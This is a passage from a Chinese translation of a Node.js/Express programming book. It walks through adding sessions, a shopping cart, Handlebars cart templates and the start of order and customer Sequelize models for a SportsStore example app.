**throw new Error(`Undefined secret: ${name}`);**
 **}**
 **return secret;**
**}**
export { getEnvironment, Env }; 

使用 dotenv 模块定义的 config 函数通过名称 dotenvconfig 导入,并用于加载环境文件。为了支持不同部分的过程环境文件,使用 getEnvironment 方法来制定将要读取的文件名,因此在开发期间读取 development.env 文件,当应用程序部署时读取 production.env 文件。这意味着使用“真实”的环境变量来决定加载包含额外环境变量的文件。这可能会有些令人困惑,但在实践中效果很好。

getSecret 函数被导出以供应用程序的其他部分使用,允许请求密钥而无需知道它们是如何配置的。对于未定义的密钥没有合理的回退值可以使用,因此如果 getSecret 函数无法提供值,它会抛出一个错误。

创建会话中间件

下一步是启用会话,这将允许在 HTTP 请求之间持久化产品选择。在 sportsstore 文件夹中运行 列表 17.25 中显示的命令以安装支持会话的包。

列表 17.25:安装会话包

npm install express-session@1.17.3
npm install connect-session-sequelize@7.1.7
npm install --save-dev @types/cookie-parser@1.4.6
npm install --save-dev @types/express-session@1.17.10 

这些包通过 Sequelize ORM 包支持处理 cookie、管理会话以及在 SQL 数据库中存储会话数据。表 17.2 描述了这些包以供快速参考。

表 17.2:cookie 和会话包

名称 描述

|

`express-session` 
此包为 Express 添加基于 cookie 的会话。

|

`connect-session-sequelize` 
此包使用 Sequelize 存储会话数据。

|

`@types/cookie-parser` 
此包包含类型描述。

|

`@types/express-session` 
此包包含类型描述。

要启用会话,请将名为 sessions.ts 的文件添加到 src 文件夹中,其内容如 列表 17.26 所示。

列表 17.26:src 文件夹中 sessions.ts 文件的内容

import { Express } from "express";
import { Sequelize } from "sequelize";
import { getConfig, getSecret } from "./config";
import session from "express-session";
import sessionStore from "connect-session-sequelize";
const config = getConfig("sessions");
const secret = getSecret("COOKIE_SECRET");
const logging = config.orm.logging
        ? { logging: console.log, logQueryParameters: true}
        : { logging: false };
export const createSessions = (app: Express) => {
    const sequelize = new Sequelize({
        ...config.orm.settings, ...logging
    });
    const store = new (sessionStore(session.Store))({
        db: sequelize
    });
    if (config.reset_db === true) {
        sequelize.drop().then(() => store.sync());
    } else {
        store.sync();
    }
    app.use(session({
        secret, store,
        resave: true, saveUninitialized: false,
        cookie: { maxAge: config.maxAgeHrs * 60 * 60 * 1000,
            sameSite: "strict" }
    }));
} 

createSessions 函数读取配置数据,并使用它来配置 Sequelize 并通过签名 cookie 设置会话中间件。将 列表 17.27 中显示的配置设置添加到定义数据库和会话年龄的值。

注意

每次应用程序启动时都会重置会话数据库。当检测到文件更改时,开发工具会重新启动应用程序,这意味着任何代码或配置更改都会删除所有存储的会话。

列表 17.27:在 sportsstore 文件夹中的 server.config.json 文件中添加设置

{
    "http": {
        "port": 5000
    },
    "templates": {
        // ...settings omitted for brevity...
    },
    "errors": {
        "400": "not_found",
        "500": "error"
    },
    "catalog": {
        // ...settings omitted for brevity...
    },
   ** "sessions": {**
 **"****maxAgeHrs": 2,**
 **"reset_db": true,**
 **"orm": {**
 **"settings": {**
 **"dialect": "sqlite",**
 **"storage": "sessions.db"**
 **},**
 **"logging":** **true**
 **}**
 **}**
} 

列表 17.28 在应用程序启动时启用会话中间件。

列表 17.28:在 sportsstore 文件夹中的 server.ts 文件中启用中间件

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
import { createErrorHandlers } from "./errors";
**import { createSessions } from "./sessions";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
createTemplates(expressApp);
**createSessions(expressApp);**
createRoutes(expressApp);
createErrorHandlers(expressApp);
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

启用会话不会改变应用程序的行为方式,但为下一节中定义的购物车奠定了基础。

定义购物车数据模型

要描述购物车,请将名为 cart_models.ts 的文件添加到 src/data 文件夹中,其内容如 列表 17.29 所示。

列表 17.29:src/data 文件夹中 cart_models.ts 文件的内容

export interface CartLine {
    productId: number;
    quantity: number;
}
export interface Cart {
    lines: CartLine[];
}
export const createCart = () : Cart => ({ lines: [] });
export const addLine = (cart: Cart, productId: number, quantity: number) => {
    const line = cart.lines.find(l => l.productId == productId);
    if (line !== undefined) {
        line.quantity += quantity;
    } else {
        cart.lines.push({ productId, quantity })
    }
}
export const removeLine = (cart: Cart, productId: number) => {
    cart.lines = cart.lines.filter(l => l.productId !== productId);
} 

Cart接口表示一个购物车,每个产品选择由一个CartLine对象表示,标识选定的产品和客户所需的数量。购物车数据将作为 JSON 数据存储在会话数据库中,这就是为什么createCartaddLineremoveLine函数没有在类中定义,因为 JSON 数据被反序列化为一个普通的 JavaScript 对象。

扩展目录仓库

需要一个新的查询来显示用户购物车的摘要,如列表 17.30所示。

列表 17.30:在 src/data 文件夹中的 catalog_repository.ts 文件中添加一个方法

import { Category, Product, Supplier, ProductQueryParameters,
    ProductQueryResult } from "./catalog_models";
export interface CatalogRepository {
    getProducts(params?: ProductQueryParameters): Promise<ProductQueryResult>;
  **  getProductDetails(ids: number[]): Promise<Product[]>;**
    storeProduct(p: Product): Promise<Product>;
    getCategories() : Promise<Category[]>;
    storeCategory(c: Category): Promise<Category>;
    getSuppliers(): Promise<Supplier[]>;
    storeSupplier(s: Supplier): Promise<Supplier>;
} 

代表选择的CartLine对象仅包含产品 ID 和数量。getProductDetails方法接受一个 ID 数组,并从目录中返回相应的Product对象。列表 17.31实现了使用 Sequelize 的新仓库方法。

列表 17.31:在 src/data/orm 文件夹中的 queries.ts 文件中实现一个方法

import { CategoryModel, ProductModel, SupplierModel } from "./models";
import { BaseRepo, Constructor } from "./core"
import { ProductQueryParameters } from "../catalog_models";
import { Op } from "sequelize";
export function AddQueries<TBase extends Constructor<BaseRepo>>(Base: TBase) {
    return class extends Base {

        // ...methods omitted for brevity...

        getSuppliers() {
            return SupplierModel.findAll({raw: true, nest: true});
        }       
       ** getProductDetails(ids: number[]) {**
 **return ProductModel.findAll****({**
 **where: { id: { [Op.in]: ids }}, raw: true, nest: true,**
 **});**
 **}**
    }
} 

getProductDetails方法的实现使用 Sequelize 的in操作来选择其id属性包含在方法参数接收到的数组中的产品。结果是解析为产生ProductModel对象数组的Promise

我保持了Cart类型简单,因为这将是在会话中存储的数据,因为大多数从用户接收到的请求都将读取这些数据(因为响应将包含购物车的摘要,该摘要在创建购物车摘要部分中创建)。要完全填充购物车以包含产品详情,这些详情将用于向用户显示购物车,请将一个名为cart_helpers.ts的文件添加到src/data文件夹中,其内容如列表 17.32所示。

列表 17.32:src/data 文件夹中 cart_helpers.ts 文件的内容

import { catalog_repository } from ".";
import { Cart } from "./cart_models";
import { Product } from "./catalog_models"
export interface CartDetail {
    lines: {
        product: Product,
        quantity: number,
        subtotal: number
    }[],
    total: number;
}
export const getCartDetail = async (cart: Cart) : Promise<CartDetail> => {
    const ids = cart.lines.map(l => l.productId);
    const db_data = await catalog_repository.getProductDetails(ids);
    const products = Object.fromEntries(db_data.map(p => [p.id, p]));
    const lines = cart.lines.map(line => ({
        product: products[line.productId],
        quantity: line.quantity,
        subtotal: products[line.productId].price * line.quantity
    }));
    const total = lines.reduce((total, line) => total + line.subtotal, 0);
    return { lines, total }
} 

getCartDetail函数接受一个Cart对象,并返回一个CartDetail,其中包含提供购物车详细视图所需的所有附加信息,包括每个产品选择的子总金额,以及总金额。

注意

一些收集详细数据所需的操作是异步的,这意味着它们不能由模板助手执行,因为模板助手必须是同步的。

创建 HTTP 路由和中间件

下一步是定义 HTTP 请求的路由和处理程序,以便可以将产品添加到购物车中,并从购物车中删除产品,以及显示购物车的内容。将一个名为cart.ts的文件添加到src/routes文件夹中,其内容如列表 17.33所示。

列表 17.33:src/routes 文件夹中 cart.ts 文件的内容

import { Express } from "express";
import { escape, unescape } from "querystring";
import { Cart, addLine, createCart, removeLine } from "../data/cart_models";
import * as cart_helpers from "../data/cart_helpers";
declare module "express-session" {
    interface SessionData {
       cart?: Cart;
    }
}
export const createCartMiddleware = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.cart = req.session.cart = req.session.cart ?? createCart()
        next();
    })
}
export const createCartRoutes = (app: Express) => {

    app.post("/cart", (req, resp) => {
        const productId = Number.parseInt(req.body.productId);
        if (isNaN(productId)) {
            throw new Error("ID  must be an integer");
        }
        addLine(req.session.cart as Cart, productId, 1);
        resp.redirect(`/cart?returnUrl=${escape(req.body.returnUrl ?? "/")}`);
    });
    app.get("/cart", async (req, resp) => {
        const cart = req.session.cart as Cart;
        resp.render("cart", {
            cart: await cart_helpers.getCartDetail(cart),
            returnUrl: unescape(req.query.returnUrl?.toString() ?? "/")
        });
    });
    app.post("/cart/remove", (req, resp) => {
        const id = Number.parseInt(req.body.id);
        if (!isNaN(id)) {
            removeLine(req.session.cart as Cart, id);
        }
        resp.redirect(`/cart?returnUrl=${escape(req.body.returnUrl ?? "/")}`);
    });
} 

使用declare语句在SessionData接口上定义一个cart属性,以便 TypeScript 编译器理解购物车是会话数据的一部分。

createCartMiddleware 函数创建一个中间件组件,从会话中获取购物车,如果没有购物车则创建一个,并将购物车设置为模板引擎使用的本地数据。createCartRoutes 函数定义了三个路由。发送到 /cart URL 的 HTTP POST 请求将向用户的购物车添加一个产品,而发送到 /cart/remove URL 的 POST 请求将移除一个产品。

(大多数浏览器允许 HTML 表单只发送 GETPOST 请求,这就是为什么添加和移除产品都使用 POST 请求)。对这些处理程序发出的请求可以包括一个 returnUrl 值,在修改购物车后,浏览器将重定向到该值。该值使用 Node.js 在 querystring 模块中提供的 encodedecode 函数进行处理,这使得该值可以在需要执行重定向之前安全地传递。

第三条路由处理发送到 /cart URL 的 GET 请求,并显示购物车的商品内容。Cart 对象中包含的数据必须通过使用 getProductDetails 存储库方法获得的数据进行补充。列表 17.34 启用了新的中间件和路由。

列表 17.34:在 src/routes 文件夹中的 index.ts 文件中启用路由

import { Express } from "express";
import { createCatalogRoutes } from "./catalog";
import { createCartMiddleware, createCartRoutes } from "./cart";
export const createRoutes = (app: Express) => {
 **createCartMiddleware(app);**
    createCatalogRoutes(app);
   ** createCartRoutes(app);**
} 

这些路由是在处理目录请求的路由之后启用的,中间件配置是在所有路由之前完成的。

创建模板

购物车显示将是一个表格,显示所选产品以及允许从购物车中移除项目的按钮。要定义表格行的模板,请将名为 cart_line.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 17.35 所示。

列表 17.35:模板文件夹中 cart_line.handlebars 文件的内容

<tr>
    <td class="text-end">{{ quantity }} </td>   
    <td class="text-left">{{ product.name }}</td>
    <td class="text-end">{{ currency product.price }}</td>
    <td class="text-end">{{ currency subtotal }}</td>
    <td class="text-center">
        <form method="post" action="/cart/remove">
            <input type="hidden" name="id" value="{{ product.id }}">
            <input type="hidden" name="returnUrl" value="{{ returnUrl }}">
            <button type="submit" class="btn btn-sm btn-danger">
                Remove
            </button>
        </form>
    </td>
</tr> 

此模板定义了包含单个产品详细信息的表格单元格:所选数量、产品名称、单价和总计。价格和总计使用 currency 辅助函数进行格式化。最后的表格单元格包含一个 HTML 表单,该表单呈现一个移除按钮,该按钮发送一个 HTTP POST 请求到 /cart/remove URL,这将从购物车中移除一个产品。要定义整个表格的模板,请将名为 cart.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 17.36 所示。

列表 17.36:模板文件夹中 cart.handlebars 文件的内容

<h2>Your cart</h2>
<table class="table table-bordered table-striped">
    <thead>
        <tr>
            <th class="text-end">Quantity</th><th>Item</th>
            <th class="text-end">Price</th><th class="text-end">Subtotal</th>
            <th></th>
        </tr>
    </thead>
    <tbody>
        {{#unless cart.lines}}
            <tr><td colspan="5" class="text-center">Cart is empty</td></tr>
        {{/unless}}
        {{#each cart.lines}}
            {{> cart_line returnUrl=../returnUrl }}       
        {{/each }}
    </tbody>
    <tfoot>
        <tr>
            <td colspan="3" class="text-end">Total:</td>
            <td class="text-end">{{ currency cart.total }}</td>
        </tr>
    </tfoot>
</table>
<div class="text-center">
    <a class="btn btn-primary" href="{{ returnUrl }}">Continue Shopping</a>
    {{#if cart.lines}}
        <a class="btn btn-primary" href="/checkout">Checkout</a>
    {{else}}
        <button class="btn btn-primary" disabled>Checkout</button>
    {{/if}}
</div> 

Handlebars 模板引擎提供的一个有用功能是提供带有参数的局部模板。在这种情况下,cart_line 局部模板提供了一个 returnUrl 参数:

...
{{#each cart.lines}}
    {{> cart_line **returnUrl**=../returnUrl }}       
{{/each }}    
... 

此参数可以通过名称引用,并与通常可用于部分的数据结合。each 助手更改用于解析模板表达式的上下文,这使得为序列中的每个项目生成内容变得容易,并且在 each 块内,表达式是对当前项目进行评估的。../ 前缀允许模板表达式访问 each 助手获取其值的原始上下文,并用于向部分模板提供 returnUrl 参数的值。

最后一步是在产品模板中添加一个按钮,以便用户可以选择产品,如 清单 17.37 所示。

清单 17.37:在模板文件夹中的 product.handlebars 文件中添加产品选择

<div class="card card-outline-primary m-1 p-1">
    <div class="bg-faded p-1">
        <h4>
            {{ highlight name }}
            <span class="badge rounded-pill bg-primary text-white"
                   style="float:right">
                <small>{{ currency price }}</small>
            </span>
        </h4>
    </div>
    <div class="card-text p-1">
        **<span class="float-start">{{ highlight description }}</span>**
 **<****form method="post" action="/cart">**
 **<input type="hidden" name="****returnUrl" value="{{navigationUrl}}">**
 **<input type="hidden" name="productId" value="****{{id}}">**
 **<button type="submit" class="btn btn-sm btn-success float-end">**
 **Add To Cart**
 **</button>**
 **</****form>**
    </div>
</div> 

使用浏览器请求 http://localhost:5000 并点击其中一个产品的 添加到购物车 按钮。该产品将被添加到购物车中,并显示购物车详情,如图 图 17.8 所示。点击 移除 按钮将从购物车中移除产品,点击 继续购物 按钮将返回目录。 (在实现结账过程之前,点击 结账 按钮将产生错误。)

图 17.8:使用购物车

创建购物车摘要

为了完成本章内容,我将在目录页面上添加购物车摘要,以便用户可以看到他们选择了多少产品,并轻松地导航到购物车详情。在 sportsstore 文件夹中运行 清单 17.38 中显示的命令,以向项目中添加用于购物车摘要的包。

清单 17.38:添加包

npm install bootstrap-icons@1.11.3 

Bootstrap Icons 包是一组可以轻松用于 HTML 内容的图标。表 17.3 描述了此包,以便快速参考。

表 17.3:Bootstrap Icons 包

名称 描述

|

`bootstrap-icons` 
此包包含一个可以应用于 HTML 内容的图标库。

购物车摘要将显示购物车中的产品总数,这需要模板助手。将名为 cart_helpers.ts 的文件添加到 src/helpers 文件夹中,其内容如 清单 17.39 所示。

清单 17.39:src/helpers 文件夹中 cart_helpers.ts 文件的内容

import { Cart } from "../data/cart_models";
export const countCartItems = (cart: Cart) : number =>
    cart.lines.reduce((total, line) => total + line.quantity, 0); 

清单 17.40 将新助手添加到模板引擎配置中。

清单 17.40:在 src/helpers 文件夹中的 index.ts 文件中添加助手

import { Express } from "express";
import { getConfig } from "../config";
import { engine } from "express-handlebars";
import * as env_helpers from "./env";
import * as catalog_helpers from "./catalog_helpers";
**import** *** as cart_helpers from "./cart_helpers";**
const location = getConfig("templates:location");
const config = getConfig("templates:config");
export const createTemplates = (app: Express) => {
    app.set("views", location);
    app.engine("handlebars", engine({
        ...config,
        **helpers****: {...env_helpers, ...catalog_helpers, ...cart_helpers}**
    }));
    app.set("view engine", "handlebars");
} 

templates 文件夹中添加一个名为 cart_summary.handlebars 的文件,其内容如 清单 17.41 所示。

清单 17.41:src/templates 文件夹中 cart_summary.handlebars 文件的内容

{{#if cart.lines}}
    <small class="navbar-text">{{ countCartItems cart }} item(s)</small>
{{else}}
    <small class="navbar-text">(Empty)</small>
{{/if}}
<a class="btn btn-sm btn-secondary navbar-btn" 
    href="/cart?returnUrl={{ escapeUrl ( navigationUrl ) }}">
    <i class="bi-cart"></i>
</a> 

新模板显示一条小消息,指示购物车的内容,以及一个允许导航查看购物车内容的按钮。该按钮是一个锚元素,其内容是一个 i 元素,这是显示 Bootstrap Icons 包中图标的方式:

...
<a class="btn btn-sm btn-secondary navbar-btn"  href="/cart{{returnUrl}}">
   ** <i class="bi-cart"></i>**
</a>
... 

此元素显示购物车图标,您可以在icons.getbootstrap.com查找每个图标所需的类。列表 17.42将新的部分模板集成到主布局中。

列表 17.42:在templates文件夹中的main_layout.handlebars文件中添加摘要

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        **<link href="/font/bootstrap-icons.min.css" rel="stylesheet">**
    </head>
    <body>
        **<div class="bg-dark text-white py-2 px-1">**
 **<div class="container-fluid"****>**
 **<div class="row">**
 **<div class="col align-baseline pt-1">SPORTS STORE</div****>**
 **<div class="col-auto text-end">**
 **{{#if show_cart}}**
 **{{> cart_summary }}**
 **{{/if}}**
 **</div>**
 **</div>**
 **</div****>**
 **</div>**
        {{{ body }}}
    </body>
</html> 

只有当存在show_cart值时,才会显示购物车摘要,这将允许路由处理程序选择在标题中显示购物车摘要,例如在列表 17.43中。

列表 17.43:在src/routes文件夹中的catalog.ts文件中启用购物车摘要

import { Express } from "express";
import { catalog_repository } from "../data";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", async (req, resp) => {
        const page = Number.parseInt(req.query.page?.toString() ?? "1");
        const pageSize =Number.parseInt(req.query.pageSize?.toString() ?? "3")
        const searchTerm = req.query.searchTerm?.toString();
        const category = Number.parseInt(req.query.category?.toString() ?? "")
        const res = await catalog_repository.getProducts({ page, pageSize,
            searchTerm, category});
        resp.render("index", { ...res, page, pageSize,
            pageCount: Math.ceil(res.totalCount / (pageSize ?? 1)),
            searchTerm, category, show_cart: true
        });
    });
} 

列表 17.42中的更改包括一个指向包含图标的 CSS 样式的link元素。列表 17.44使用 Express 的static中间件提供对包内容的访问。

列表 17.44:在src文件夹中的server.ts文件中添加静态内容

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
import { createErrorHandlers } from "./errors";
import { createSessions } from "./sessions";
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
**expressApp.use(express.static("node_modules/bootstrap-icons"));**
createTemplates(expressApp);
createSessions(expressApp);
createRoutes(expressApp);
createErrorHandlers(expressApp);
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

使用浏览器请求http://localhost:5000,您将看到购物车摘要,它将反映任何之前的产品选择。随着购物车内容的改变,摘要将更新以显示已选择的产品数量,如图17.9所示。

图片

图 17.9:显示购物车摘要

摘要

在本章中,我继续在SportsStore项目中工作,以完成产品目录并添加购物车功能:

  • 产品请求可以包括查询字符串参数,用于分页数据、指定页面大小以及过滤产品数据。

  • 查询字符串值被保留在 HTML 响应中包含的 URL 中,以便用户获得一致的使用体验。

  • 购物车使用会话来存储产品选择。会话数据存储在数据库中,会话使用 HTTP cookie 进行标识。

  • 会话 cookie 被签名以防止篡改,签名密钥存储在 env 文件中,该文件由配置系统读取。

  • 购物车摘要作为目录的一部分显示,使用图标包进行样式设计。

我将在下一章继续工作在SportsStore中,添加接受和验证订单的支持。

第十八章:SportsStore:订单和验证

在本章中,我们继续通过添加支持下单功能来构建 SportsStore 应用程序,这包括验证用户提供的表单数据。

为本章做准备

本章使用 第十七章 中的 sportsstore 项目。本章不需要任何更改。打开一个新的命令提示符,导航到 sportsstore 文件夹,并运行 列表 18.1 中显示的命令以启动开发工具。

提示

你可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。如果你在运行示例时遇到问题,请参阅 第一章 以获取帮助。

列表 18.1:启动开发工具

npm start 

打开一个新的浏览器窗口,导航到 http://localhost:5000,你将看到产品目录,如 图 18.1 所示。

图片

图 18.1:运行应用程序

处理订单

处理订单的数据模型分为两部分:订单和用户配置文件。订单描述了已选择的产品并提供订单的发货状态。如 第十六章 所述,SportsStore 应用程序不扩展到实现支付和履行过程,这些通常由与单独平台的集成来处理。

创建数据模型

要开始,请将一个名为 customer_models.ts 的文件添加到 src/data 文件夹中,内容如 列表 18.2 所示。这是一个占位符,用于表示客户,具有仅够开始处理订单的功能。

列表 18.2:src/data 文件夹中 customer_models.ts 文件的内容

export interface Customer {
    id?: number;
    name: string;
    email: string;
} 

要描述订单,请将一个名为 order_models.ts 的文件添加到 src/data 文件夹中,内容如 列表 18.3 所示。

列表 18.3:src/data 文件夹中 order_models.ts 文件的内容

import { Product } from "./catalog_models";
import { Customer } from "./customer_models";
export interface Order {
    id?: number;
    customer?: Customer;
    selections?: ProductSelection[];
    address?: Address;
    shipped: boolean;
}
export interface ProductSelection {
    id?: number;
    productId?: number;
    quantity: number;
    price: number;
}
export interface Address {
    id?: number;
    street: string;
    city: string;
    state: string;
    zip: string;
} 

Order 接口描述了一个订单,其中包含代表用户购买的产品(包括购买时的价格)的 ProductSelection 对象。客户由 Customer 对象表示,而发货和账单地址由 Address 对象表示。实际在线商店所需的详细信息取决于当地法律和习俗以及销售的产品类型,但这些接口是对基本订单特征的合理近似,可以根据需要调整。

要描述对订单数据的访问,请将一个名为 order_repository.ts 的文件添加到 src/data 文件夹中,内容如 列表 18.4 所示。

列表 18.4:src/data 文件夹中 order_repository.ts 文件的内容

import { Order } from "./order_models";
export interface OrderRepository {
    getOrder(id: number): Promise<Order| null>;
    getOrders(excludeShipped: boolean): Promise<Order[]>;
    storeOrder(order: Order): Promise<Order>;
} 

getOrder 方法返回一个订单,通过其 id 值进行标识。getOrders 方法检索所有订单,有一个参数允许排除已发货的订单。storeOrder 方法存储或更新订单。

实现模型类

我打算扩展现有的 Sequelize 实现 CatalogRepository 接口,以实现 OrderRepository 接口定义的方法,这将允许单个数据库存储目录和订单数据。在 src/data/orm/models 文件夹中添加一个名为 customer_models.ts 的文件,其内容如 清单 18.5 所示。

单数据库与多数据库

从设计角度来看,将每种类型的数据存储在其自己的数据库中可能很有吸引力,例如,目录数据可以单独存储,与订单或用户数据分开。在实践中,单独的数据库难以管理,尤其是大多数应用程序使用的数据类别之间都存在某种关系:订单需要引用产品,用户账户需要与订单关联,等等。将应用程序的数据存储在单个数据库中,可以更方便地使用数据库功能,如事务,以确保数据完整性,并简化查询中的数据关联。

如果你决定使用多个数据库,那么你需要负责管理数据库之间的事务,并确保数据保持一致性,以便数据库之间的关系保持一致。有一些工具可以帮助,例如分布式事务管理器,但它们可能很复杂且难以使用。

从纯粹实用的角度来看,我的建议是在可能的情况下,始终使用单个数据库来存储应用程序的所有数据。当不可能使用单个数据库时,例如当员工数据存储在中央 HR 数据库中,而你的应用程序只有只读访问权限时,你应该密切关注数据之间关系的管理。

清单 18.5:src/data/orm/models 文件夹中 customer_models.ts 文件的内容

import { Model, CreationOptional, InferAttributes, InferCreationAttributes }
    from "sequelize";
import { Customer } from "../../customer_models";
export class CustomerModel extends Model<InferAttributes<CustomerModel>,
        InferCreationAttributes<CustomerModel>> implements Customer {
    declare id?: CreationOptional<number>;
    declare name: string;
    declare email: string;
} 

CustomerModel 类实现了 Customer 接口,以便通过 Sequelize 存储客户数据。为了告诉 Sequelize 如何初始化模型类,在 src/data/orm/models 文件夹中添加一个名为 customer_helpers.ts 的文件,其内容如 清单 18.6 所示。

清单 18.6:src/data/orm/models 文件夹中 customer_helpers.ts 文件的内容

import { DataTypes, Sequelize } from "sequelize";
import { CustomerModel } from "./customer_models";
export const initializeCustomerModels = (sequelize: Sequelize) => {
    CustomerModel.init({
        id: { type: DataTypes.INTEGER, autoIncrement: true, primaryKey: true},
        name: { type: DataTypes.STRING},       
        email: { type: DataTypes.STRING }
    }, { sequelize})
} 

initializeCustomerModels 函数初始化 CustomerModel 类,并指定每个模型属性的 SQL 数据类型和配置。

创建订单模型

要创建描述订单的接口的实现,在 server/data/orm/models 文件夹中添加一个名为 order_models.ts 的文件,其内容如 清单 18.7 所示。

清单 18.7:src/data/orm/models 文件夹中 order_models.ts 文件的内容

import { Model, CreationOptional, ForeignKey, InferAttributes,
    InferCreationAttributes, 
    HasManySetAssociationsMixin} from "sequelize";
import { ProductModel } from "./catalog_models";
import { CustomerModel } from "./customer_models";
import { Address, Order, ProductSelection } from "../../order_models";
export class OrderModel extends Model<InferAttributes<OrderModel>,
        InferCreationAttributes<OrderModel>> implements Order {
    declare id?: CreationOptional<number>;
    declare shipped: boolean;
    declare customerId: ForeignKey<CustomerModel["id"]>;
    declare customer?: InferAttributes<CustomerModel>
    declare addressId: ForeignKey<AddressModel["id"]>;
    declare address?: InferAttributes<AddressModel>;

    declare selections?:  InferAttributes<ProductSelectionModel>[];
    declare setSelections:
        HasManySetAssociationsMixin<ProductSelectionModel, number>;
}
export class ProductSelectionModel extends
        Model<InferAttributes<ProductSelectionModel>,
            InferCreationAttributes<ProductSelectionModel>>
        implements ProductSelection {
    declare id?: CreationOptional<number>;

    declare productId: ForeignKey<ProductModel["id"]>;
    declare product?: InferAttributes<ProductModel>
    declare quantity: number;
    declare price: number;
    declare orderId: ForeignKey<OrderModel["id"]>;
    declare order?: InferAttributes<OrderModel>;
}
export class AddressModel extends Model<InferAttributes<AddressModel>,
    InferCreationAttributes<AddressModel>> implements Address {
    declare id?: CreationOptional<number>;
    declare street: string;
    declare city: string;
    declare state: string;
    declare zip: string;
} 

模型类使用了在早期示例中描述的 Sequelize 特性,并实现了OrderProductSelectionAddress接口。正如前几章所述,获取准确的数据模型可能是一个繁琐的过程,我发现同时定义模型类和初始化它们的辅助代码更容易。将一个名为order_helpers.ts的文件添加到server/data/orm/models文件夹中,其内容如清单 18.8所示。

清单 18.8server/data/orm/models文件夹中order_helpers.ts文件的内容

import { DataTypes, Sequelize } from "sequelize";
import { OrderModel, ProductSelectionModel, AddressModel }
    from "./order_models";
import { CustomerModel } from "./customer_models";
import { ProductModel } from ".";
const primaryKey = {
    id: { type: DataTypes.INTEGER, autoIncrement: true, primaryKey: true }
};

export const initializeOrderModels = (sequelize: Sequelize) => {
    OrderModel.init({
        ...primaryKey, shipped: DataTypes.BOOLEAN
    }, {sequelize});
    ProductSelectionModel.init({
        ...primaryKey,
        quantity: DataTypes.INTEGER, price: DataTypes.DECIMAL(10, 2)
    }, {sequelize});
    AddressModel.init({
        ...primaryKey,
        street: DataTypes.STRING, city: DataTypes.STRING,
        state: DataTypes.STRING, zip: DataTypes.STRING,
    }, {sequelize});
    OrderModel.belongsTo(CustomerModel, { as: "customer"});
    OrderModel.belongsTo(AddressModel,
        {foreignKey: "addressId", as: "address"});
    OrderModel.belongsToMany(ProductSelectionModel,
        { through: "OrderProductJunction",
            foreignKey: "orderId", as: "selections" });
    ProductSelectionModel.belongsTo(ProductModel, { as: "product"});
} 

除了初始化模型类之外,initializeOrderModels函数描述了它们之间的关系,这决定了将要创建以存储数据的数据库表的结构。

如同在第十五章中所述,Sequelize 为模型类添加了方法,允许管理相关数据。这是通过使用我在第十六章中构建仓库时使用的相同混合技术来实现的。由于ProductSelectionModelOrderModel类之间的一对多关系,将创建一个名为setSelections的方法,这就是为什么我在OrderModel类中添加了这个declare语句的原因:

...
declare **setSelections**: HasManySetAssociationsMixin<ProductSelectionModel, number>;
... 

Sequelize为所有模型属性添加了方法,但这是 SportsStore 应用程序唯一需要的方法。因此,这是我唯一添加了declare语句的方法。清单 18.9调用了initializeCustomerModelsinitializeOrderModels函数,以便模型类与产品目录中使用的类一起初始化。

清单 18.9src/data/orm/models文件夹中index.ts文件中初始化模型

import { Sequelize } from "sequelize";
import { initializeCatalogModels } from "./catalog_helpers";
**import { initializeCustomerModels } from "./customer_helpers";**
**import { initializeOrderModels } from "./order_helpers";**
export { ProductModel, CategoryModel, SupplierModel } from "./catalog_models";
export const initializeModels = (sequelize: Sequelize) => {
    initializeCatalogModels(sequelize);
   **initializeCustomerModels(sequelize);**
 **initializeOrderModels(sequelize);**
} 

initializeModels函数现在初始化了应用程序使用的所有三类模型类。

实现仓库

下一步是创建OrderRepository接口定义的方法的实现。将一个名为order_queries.ts的文件添加到src/data/orm文件夹中,其内容如清单 18.10所示。

清单 18.10src/data/orm文件夹中order_queries.ts文件的内容

import { Attributes, FindOptions } from "sequelize";
import { Order } from "../order_models"
import { BaseRepo, Constructor } from "./core"
import { AddressModel, OrderModel } from "./models/order_models";
import { CustomerModel } from "./models/customer_models";
const queryConfig: FindOptions<Attributes<OrderModel>> = {
    include: [
        { model: AddressModel, as: "address"},
        { model: CustomerModel, as: "customer" }
    ],
    raw: true, nest: true
}
export function AddOrderQueries<TBase
        extends Constructor<BaseRepo>>(Base: TBase)  {
    return class extends Base {
        getOrder(id: number) : Promise<Order | null> {
            return OrderModel.findByPk(id, queryConfig);
        }
        getOrders(excludeShipped: boolean): Promise<Order[]> {
            return OrderModel.findAll(
                excludeShipped ?
                    { ...queryConfig, where: { shipped: false}} : queryConfig
            )           
        }
    }
} 

AddOrderQueries函数返回一个实现了getOrdergetOrders方法的类,这些方法是OrderRepository接口所要求的。为了保持查询的一致性,我使用了 Sequelize 提供的类型来描述用于查询数据库的选项。使用FindOptions<Attributes<OrderModel>>类型描述OrderModel数据的查询选项。queryConfig对象使用include属性将相关的AddressModelCustomerModel数据包含在结果中,并将rawnest属性设置为指定结果的格式。为了实现剩余的接口方法,将一个名为order_storage.ts的文件添加到src/data/orm文件夹中,其内容如清单 18.11所示。

清单 18.11src/data/orm文件夹中order_storage.ts文件的内容

import { Order } from "../order_models"
import { BaseRepo, Constructor } from "./core"
import { AddressModel, OrderModel, ProductSelectionModel }
    from "./models/order_models";
import { CustomerModel } from "./models/customer_models";
export function AddOrderStorage<TBase extends
        Constructor<BaseRepo>>(Base: TBase)  {
    return class extends Base {
